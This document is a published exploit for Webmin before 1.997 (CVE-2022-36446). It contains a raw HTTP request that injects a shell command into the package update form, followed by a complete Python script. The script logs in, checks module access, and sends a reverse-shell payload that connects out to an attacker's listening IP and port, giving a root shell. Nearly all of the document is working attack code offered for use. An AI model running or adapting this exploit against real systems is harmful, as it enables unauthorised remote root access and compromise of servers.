Access to the "Software Package Updates" module is required to trigger the vulnerability. Users with access to this module can run commands with root privileges on the system by performing OS Command Injection during a new package installation.
POST /package-updates/update.cgi HTTP/1.1
Host: 46.101.171.176:10000
Cookie: redirect=1; testing=1; sid=05ebaaec3707b0075c641325e9153608
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 75
X-No-Links: 1
X-Progressive-Url: https://46.101.171.176:10000/package-updates/update.cgi
X-Requested-With: XMLHttpRequest
Origin: https://46.101.171.176:10000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Referer: https://46.101.171.176:10000/package-updates/update.cgi?xnavigation=1
Te: trailers
Connection: close
mode=new&search=ssh&redir=&redirdesc=&u=1337;$(whoami);&confirm=Install+Now
# Exploit Title: Webmin < 1.997 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-07-25
# Exploit Author: Emir Polat
# Vendor Homepage: https://www.webmin.com/
# Software Link: https://www.webmin.com/download.html
# Version: < 1.997
# Tested On: Version 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
# CVE: CVE-2022-36446
import argparse
import requests
from bs4 import BeautifulSoup
def login(args):
global session
global sysUser
session = requests.Session()
loginUrl = f"{args.target}:10000/session_login.cgi"
infoUrl = f"{args.target}:10000/sysinfo.cgi"
username = args.username
password = args.password
data = {'user': username, 'pass': password}
login = session.post(loginUrl, verify=False, data=data, cookies={'testing': '1'})
sysInfo = session.post(infoUrl, verify=False, cookies={'sid' : session.cookies['sid']})
bs = BeautifulSoup(sysInfo.text, 'html.parser')
sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]
if sysUser:
return True
else:
return False
def exploit(args):
payload = f"""
1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');
"""
updateUrl = f"{args.target}:10000/package-updates"
exploitUrl = f"{args.target}:10000/package-updates/update.cgi"
exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}
if login(args):
print("[+] Successfully Logged In !")
print(f"[+] Session Cookie => sid={session.cookies['sid']}")
print(f"[+] User Found => {sysUser[0]}")
res = session.get(updateUrl)
bs = BeautifulSoup(res.text, 'html.parser')
updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]
if updateAccess[0] == "package-updates":
print(f"[+] User '{sysUser[0]}' has permission to access <<Software Package Updates>>")
print(f"[+] Exploit starting ... ")
print(f"[+] Shell will spawn to {args.listenip} via port {args.listenport}")
session.headers.update({'Referer' : f'{args.target}:10000/package-updates/update.cgi?xnavigation=1'})
session.post(exploitUrl, data=exploitData)
else:
print(f"[-] User '{sysUser[0]}' unfortunately hasn't permission to access <<Software Package Updates>>")
else:
print("[-] Login Failed !")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Webmin < 1.997 - Remote Code Execution (Authenticated)")
parser.add_argument('-t', '--target', help='Target URL, Ex: https://webmin.localhost', required=True)
parser.add_argument('-u', '--username', help='Username For Login', required=True)
parser.add_argument('-p', '--password', help='Password For Login', required=True)
parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)
parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)
parser.add_argument("-s", '--ssl', help="Use if server support SSL.", required=False)
args = parser.parse_args()
exploit(args)
- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
- https://www.exploit-db.com/exploits/50998
- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
Author: Emir Polat
Twitter: https://twitter.com/devilsgrins